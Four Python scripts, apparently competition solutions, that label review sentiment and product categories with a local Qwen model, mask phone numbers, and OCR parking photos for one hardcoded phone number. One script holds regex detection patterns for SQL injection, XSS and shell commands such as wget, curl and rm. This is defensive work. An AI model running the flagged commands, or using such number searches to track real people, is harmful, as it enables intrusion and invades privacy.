1
import csv
2
import ollama
3
import hashlib
4
from tqdm import tqdm
5

6
def get_sentiment_from_ollama(text):
7
    """
8
    使用本地 Ollama 模型识别文本的情感色彩 (正面/负面)。
9

10
    Args:
11
        text (str): 要分析的文本。
12

13
    Returns:
14
        int: 1 代表正面情感，0 代表负面情感，None 代表无法确定或出错。
15
    """
16
    prompt = f"请分析以下评论的情感色彩，判断是正面还是负面。如果评论是正面的，请回答 '正面'，如果是负面的，请回答 '负面'。只返回 '正面' 或 '负面' 两个词，如果你认为是中性的，你应该回答 '正面'\n评论内容：\n{text}\n情感色彩:"
17
    try:
18
        response = ollama.chat(model='qwen2.5:7B', messages=[
19
            {
20
                'role': 'user',
21
                'content': prompt,
22
            },
23

24
        ])
25
        sentiment_label = response['message']['content'].strip()
26
        if "正面" in sentiment_label:
27
            return 1
28
        elif "负面" in sentiment_label:
29
            return 0
30
        else:
31
            print(f"Ollama 无法识别情感: {sentiment_label}, 评论文本: {text}")
32
            return None
33
    except Exception as e:
34
        print(f"Ollama 调用出错: {e}, 评论文本: {text}")
35
        return None
36

37
def calculate_signature(user_id, username, phone):
38
    """
39
    计算用户签名，使用 MD5 运算。
40

41
    Args:
42
        user_id (str): 用户ID.
43
        username (str): 用户名.
44
        phone (str): 用户手机号.
45

46
    Returns:
47
        str: MD5 签名字符串.
48
    """
49
    signature_string = str(user_id) + username + phone
50
    md5_hash = hashlib.md5(signature_string.encode('utf-8')).hexdigest()
51
    return md5_hash
52

53
def process_comments_and_sentiment(input_csv_file, output_csv_file):
54
    """
55
    从 data.csv 中读取评论数据，进行情感分析，并保存结果到 q1.csv。
56

57
    Args:
58
        input_csv_file (str): 输入 CSV 文件路径 (data.csv).
59
        output_csv_file (str): 输出 CSV 文件路径 (q1.csv).
60
    """
61
    output_data = []
62

63
    with open(input_csv_file, 'r', encoding='utf-8') as infile:
64
        reader = csv.DictReader(infile)
65
        for row in tqdm(reader):
66
            user_id = row['用户ID']
67
            username = row['用户名']
68
            phone = row['电话']
69
            review_content = row['评论内容']
70

71
            if username == "Luminoria": # 提取数据时产生的占位行，要忽略
72
                continue
73

74
            sentiment_label = get_sentiment_from_ollama(review_content)
75

76
            if sentiment_label is not None:
77
                signature = calculate_signature(user_id, username, phone)
78
                output_data.append({
79
                    'user_id': user_id,
80
                    'label': sentiment_label,
81
                    'signature': signature
82
                })
83

84
    csv_columns = ['user_id', 'label', 'signature']
85
    with open(output_csv_file, 'w', newline='', encoding='utf-8') as outfile:
86
        writer = csv.DictWriter(outfile, fieldnames=csv_columns)
87
        writer.writeheader()
88
        writer.writerows(output_data)
89

90
    print(f"评论情感分析完成，结果已保存到 {output_csv_file}")
91

92
if __name__ == "__main__":
93
    input_csv_file = 'data.csv'
94
    output_csv_file = 'q1.csv'
95
    process_comments_and_sentiment(input_csv_file, output_csv_file)

1
import csv
2
import ollama
3
from tqdm import tqdm
4

5
def get_category_id_from_ollama(product_name, category_list_str):
6
    """
7
    使用本地 Ollama 模型根据商品名称获取最合适的分类 ID。
8

9
    Args:
10
        product_name (str): 商品名称.
11
        category_list_str (str): 分类列表字符串.
12

13
    Returns:
14
        str: 最合适的分类 ID，如果无法确定则返回 None.
15
    """
16
    prompt = f"请根据商品名称 '{product_name}'，从以下分类列表中选择最合适的分类ID。只返回ID数字，不要返回其他文字。\n分类列表:\n{category_list_str}\n分类ID:"
17
    try:
18
        response = ollama.chat(model='qwen2.5:7b', messages=[
19
            {
20
                'role': 'user',
21
                'content': prompt,
22
            },
23
        ])
24
        category_id = response['message']['content'].strip()
25
        if category_id.isdigit():
26
            return category_id
27
        else:
28
            print(f"Ollama 返回的分类ID不是数字: {category_id}, 商品名称: {product_name}")
29
            return None
30
    except Exception as e:
31
        print(f"Ollama 调用出错: {e}, 商品名称: {product_name}")
32
        return None
33

34
def clean_data_and_categorize(input_csv_file, output_csv_file):
35
    """
36
    读取 data.csv 文件，进行数据清洗、商品分类和聚合，并将结果保存到 q2.csv 文件。
37

38
    Args:
39
        input_csv_file (str): 输入 CSV 文件路径 (data.csv).
40
        output_csv_file (str): 输出 CSV 文件路径 (q2.csv).
41
    """
42

43
    category_list = {
44
        1: "手机", 2: "母婴用品", 3: "家具", 4: "书籍", 5: "蔬菜", 6: "厨房用具", 7: "办公", 8: "睡衣", 9: "宠物",
45
        10: "运动", 11: "热水器", 12: "彩妆", 13: "保健品", 14: "酒水", 15: "玩具乐器", 16: "汽车", 17: "床上用品",
46
        18: "洗护用品", 19: "五金", 20: "户外", 21: "珠宝", 22: "医疗器械", 23: "花卉园艺", 24: "游戏", 25: "园艺"
47
    }
48
    category_list_str = "\n".join([f"{k}. {v}" for k, v in category_list.items()])
49

50
    product_data = {} # 用于存储商品信息和评论计数，key 是 商品ID
51
    product_names = {} # 用于存储商品名称，key 是 商品ID，用于去重分类
52

53
    with open(input_csv_file, 'r', encoding='utf-8') as infile:
54
        reader = csv.DictReader(infile)
55
        for row in reader:
56
            product_id = row['商品ID']
57
            product_name = row['商品名称']
58
            product_sales_str = row['商品销量']
59

60
            # 清洗销量数据
61
            try:
62
                product_sales = int(float(product_sales_str.replace(',', '')))
63
                if product_sales < 0 or product_sales_str == '': # 空字符串也当做0
64
                    product_sales = 0
65
            except ValueError:
66
                product_sales = 0
67

68
            if product_id not in product_data:
69
                product_data[product_id] = {
70
                    '销量': product_sales,
71
                    '评论总数': 0,
72
                    '分类ID': None, # 初始分类ID为None
73
                }
74
                product_names[product_id] = product_name # 记录商品名称用于分类
75
            if row["用户名"] == "Luminoria": # 提取数据时产生的占位行，要忽略
76
                continue
77
            product_data[product_id]['评论总数'] += 1 # 每次读取到同一商品ID的评论，评论总数加1
78

79
    # 调用 Ollama 获取分类ID
80
    for product_id, product_name in tqdm(product_names.items()):
81
        category_id = get_category_id_from_ollama(product_name, category_list_str)
82
        if category_id:
83
            product_data[product_id]['分类ID'] = category_id
84
        else:
85
            product_data[product_id]['分类ID'] = '0' # 无法分类的设置为0或其他默认值
86

87
    # 准备写入 q2.csv 的数据，并排序
88
    output_data = []
89
    for product_id in sorted(product_data.keys(), key=int): # 按照商品ID升序排序
90
        output_data.append({
91
            'ID': product_id,
92
            '销量': product_data[product_id]['销量'],
93
            '分类ID': product_data[product_id]['分类ID'] if product_data[product_id]['分类ID'] else '0', # 确保分类ID不为None
94
            '评论总数': product_data[product_id]['评论总数']
95
        })
96

97
    csv_columns = ['product_id', 'sales', 'category_id', 'reviews_number']
98
    with open(output_csv_file, 'w', newline='', encoding='utf-8') as outfile:
99
        writer = csv.DictWriter(outfile, fieldnames=csv_columns)
100
        writer.writeheader()
101
        writer.writerows(output_data)
102

103
    print(f"数据清洗、分类和聚合完成，结果已保存到 {output_csv_file}")
104

105
if __name__ == "__main__":
106
    input_csv_file = 'data.csv'
107
    output_csv_file = 'submit_2.csv'
108
    clean_data_and_categorize(input_csv_file, output_csv_file)

1
import csv
2
import re
3
from tqdm import tqdm
4
import ollama
5

6
# 手机号脱敏函数
7
def desensitize_phone(phone):
8
    digits = re.sub(r'\D', '', str(phone))  # 去除非数字字符
9
    if len(digits) < 7:
10
        return ''
11
    return digits[:3] + "****" + digits[-4:]
12

13
# 恶意代码检测函数
14
def is_malicious(ua):
15
    if not ua or ua.strip() == "NOT_A_UA":
16
        return False
17
    # 定义恶意代码正则表达式规则
18
    patterns = [
19
        # SQL注入检测
20
        r';\s*(select|insert|update|delete|drop)\b',
21
        r'\bunion\s+select\b',
22
        r'\bselect\b.*\bfrom\b',
23
        # XSS检测
24
        r'<\s*script\b.*?>.*?<\s*/\s*script\s*>',
25
        r'onerror\s*=',
26
        r'onload\s*=',
27
        # 命令执行检测
28
        r'(\|\||&&|\$\(|\b(wget|curl|rm|ls|cat|echo)\b)',
29
        # 代码执行检测
30
        r'\b(eval|exec|system|passthru|shell_exec)\s*\(',
31
    ]
32
    for pattern in patterns:
33
        if re.search(pattern, ua, re.IGNORECASE):
34
            return True
35
    return False
36

37
# 统计有效行数
38
valid_rows = 0
39
with open('data.csv', 'r', encoding='utf-8') as f:
40
    reader = csv.DictReader(f)
41
    for row in reader:
42
        if row['用户名'] != 'Luminoria':
43
            valid_rows += 1
44

45
# 处理数据并收集结果
46
processed = []
47
with open('data.csv', 'r', encoding='utf-8') as f_in:
48
    reader = csv.DictReader(f_in)
49
    with tqdm(total=valid_rows, desc="Processing", unit="row") as pbar:
50
        for row in reader:
51
            if row['用户名'] == 'Luminoria': # 提取数据时产生的占位行，要忽略
52
                continue
53

54
            # 手机号脱敏
55
            desen_phone = desensitize_phone(row['电话'])
56

57
            # 恶意代码检测
58
            ua = row['UA']
59
            is_mal = is_malicious(ua)
60
            code_check = 'FALSE' if is_mal else 'TRUE'
61

62
            # 保存结果
63
            processed.append({
64
                'user_id': int(row['用户ID']),
65
                'desensitization': desen_phone,
66
                'code_check': code_check
67
            })
68
            pbar.update(1)
69

70
# 按user_id升序排序
71
processed.sort(key=lambda x: x['user_id'])
72

73
# 写入结果文件
74
with open('submit_3.csv', 'w', newline='', encoding='utf-8') as f_out:
75
    writer = csv.DictWriter(f_out, fieldnames=['user_id', 'desensitization', 'code_check'])
76
    writer.writeheader()
77
    writer.writerows(processed)
78

79
print("处理完成，结果已保存至 submit_3.csv")

1
import os
2
import pytesseract
3
from PIL import Image
4
import re
5

6
def find_number_in_image(image_path, target_number):
7
    try:
8
        img = Image.open(image_path)
9
        text = pytesseract.image_to_string(img, lang='eng')
10

11
        pattern = r"\b" + re.escape(target_number) + r"\b"
12
        match = re.search(pattern, text)
13

14
        if match:
15
            return text
16
        else:
17
            return None
18
    except Exception as e:
19
        print(f"处理图片 {image_path} 时出错: {e}")
20
        return None
21

22
def main():
23
    parking_folder = "./附件/parking"
24
    target_number = "13891889377"
25

26
    if not os.path.exists(parking_folder):
27
        print(f"文件夹 '{parking_folder}' 不存在，请检查路径。")
28
        return
29

30
    found_in_images = []
31

32
    c = 0
33

34
    for filename in os.listdir(parking_folder):
35
        c += 1
36
        if filename.lower().endswith(('.jpg')):
37
            image_path = os.path.join(parking_folder, filename)
38
            result = find_number_in_image(image_path, target_number)
39
            if result:
40
                print(f"{filename}r : {result}")
41

42
                found_in_images.append(filename)
43
        print(f"{c} {filename}", end='\r')
44

45
    if not found_in_images:
46
        print(f"Noting Found")
47

48
if __name__ == "__main__":
49
    main()